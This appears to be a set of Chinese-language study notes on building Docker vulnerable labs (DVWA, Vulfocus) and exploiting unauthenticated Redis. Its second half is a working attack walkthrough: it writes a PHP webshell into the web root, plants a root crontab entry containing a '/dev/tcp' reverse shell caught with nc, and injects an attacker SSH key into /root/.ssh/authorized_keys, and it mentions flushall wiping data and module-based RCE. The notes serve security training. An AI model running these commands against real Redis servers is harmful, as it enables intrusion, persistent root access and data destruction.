docker命令搭建靶场

​ 启动docker服务 systemctl start docker

​ 列出镜像 docker images
​ 列出容器 docker ps -a / docker container ls -a
​ 删除镜像 docker rmi [image_id]
​ 删除容器 docker rm [container_id]

​ 如DVWA:
​ docker pull vulnerables/web-dvwa
​ (下载镜像)
​ docker run –rm -it -p 80:80 vulnerables/web-dvwa
(通过镜像启动容器,并将容器里的80端口映射到kali的80端口)
​ 然后浏览器访问虚拟机ip:80即可

​ 关闭容器: docker stop [container_id]
​ 开启容器: docker start [container_id]

vulapps可以去访问github.com/Medicean/VulApps查看漏洞所对应的目录下的readme文件然后复制粘贴到服务器上即可

Vulfocus靶场搭建:
1.通过docker拉取镜像vulfocus/vulfocus
docker pull vulfocus/vulfocus:latest
2.开启靶场:

docker run -d -p 8081:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=虚拟机IP IMAGE ID

注意:
-p 中前面的端口是物理机,后面的端口是docker的端口
-v /var/run/docker.sock:/var/run/docker.sock为docker交互连接
-e VUL_IP=xx.xx.xx.xx 为docker服务器的ip,不能是127.0.0.1

在Vulfocus里面可以拉取已经下载好的本地镜像然后进行镜像管理,启动对应靶场,还会生成对应flag

未授权访问

概述

未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面配置不当导致其他用户可以无需认证授权直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露

常见未授权访问漏洞

Redis未授权访问漏洞
ZooKeeper未授权访问漏洞
Docker/Rsync/MongoDB/Atlassian Crowd/Jenkins/CouchDB/Memcached/Elasticsearch/JBOSS/Hadoop/VNC/Jupyter Notebook未授权访问漏洞

Redis未授权访问漏洞

特征:

Redis默认端口:6379
MongoDB:27017
Memcached:11211
Jboss:8080
Docker:2375
MySQL:3306

扫描方法

nmap -v -Pn -p 6379 -sV IP地址
-v:显示过程
-Pn:no ping
-sV:版本探测

Redis常用命令

redis连接远程服务器
redis-cli -h host(IP地址) -p port -a password
默认6379端口

set testkey “Hello world” #设置testkey的值为字符串Hello World
get testkey #获取键testkey的内容

set score 99 #设置键score的内容为99
incr score #使用incr命令将score的值增加1
get score #获取键score的内容

keys * #列出当前数据库中所有的键
config set dir /home/test #设置工作目录
config set dbfilename redis.rdb #设置备份文件名
config get dir #检查 工作目录是否设置成功
config get dbfilename #检查备份文件名是否设置成功
save #进行一次备份操作
flushall #删除所有数据
del key #删除键为key的数据

Redis历史漏洞

未授权访问

因配置不当可以未经授权访问,攻击者无需认证就可以访问到内部数据
1.导致敏感信息泄露
2.执行flushall可以清空所有数据
3.通过数据备份功能可以往磁盘写入后门文件(webshell,定时任务)
4.如果Redis以root身份运行,可以给root账户写入SSH公钥文件,免密码登录

主从复制RCE

在Redis4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过c语言编译并加载恶意.so文件,达到代码执行的目的

Redis未授权访问利用

方法
1.通过redis数据备份功能结合WEB服务,向web网站根目录内写入一句话木马,从而得到web服务器权限
2.通过redis数据备份功能写定时任务,通过定时任务反弹shell
3.通过redis数据备份功能写SSH公钥,通过免密登录linux服务器

先得下载连接程序wget http://download.redis.io/releases/redis-6.0.3.tar.gz
tar -zxvf redis-6.0.3.tar.gz #解压
cd redis-6.0.3/
make #编译
cd src/
cp redis-cli /usr/bin #客户端连接程序

第一种:写webshell
条件:
1.知道网站根目录绝对路径
2.对目标网站根目录有写入权限

redis-cli -h ip地址
连接进去之后输入ping之后如果得到回显PONG,则说明存在未授权访问漏洞
在连接状态下
config set 网站根目录绝对路径设置工作目录,显示ok则说明我们成功移动到这个目录且拥有权限
再config set dbfilename shell.php设置备份文件
set x “
再输入save保存,此时一句话木马就成功写入到网站根目录内,此时已经可以用蚁剑连接了

第二种:写定时任务反弹shell
redis-cli -h ip地址连进去
set xxx “\n\n*/1****/bin/bash -i >& /dev/tcp/虚拟机的ip地址/除redis端口的另一个端口 0>&1\n\n”
意思是隔1分钟传递会话到我们虚拟机ip的这个端口上
config set dir /var/spool/cron
config set dbfilename root
save
此时nc -lvvp 之前输入的端口号 可以监听这个端口,1分钟后即可获得shell

第三种:写入SSH公钥
1.ssh-keygen -t rsa //生成ssh公私密钥
2.(echo -e “\n\n”;cat ~/.ssh/id_rsa.pub;echo -e “\n\n”) > foo.txt //创建一个文件名为foo,并写入公钥内容
3.cat foo.txt | redis-cli -h ip地址 -p 6379 -x set sshkey //使用管道符把foo.txt里的内容写入到键值sshkey中
4.redis-cli -h ip地址:6379> get sshkey //连接redis数据库
5.config set dir /root/.ssh/ //设置备份目录为root下的.ssh目录
6.config set dbfilename “authorized_keys” //设置备份文件名为authorized_keys
7.save //保存键值内容至文件中
8.ssh root@ip -i ~/.ssh/id_rsa

三种方法都可以利用该漏洞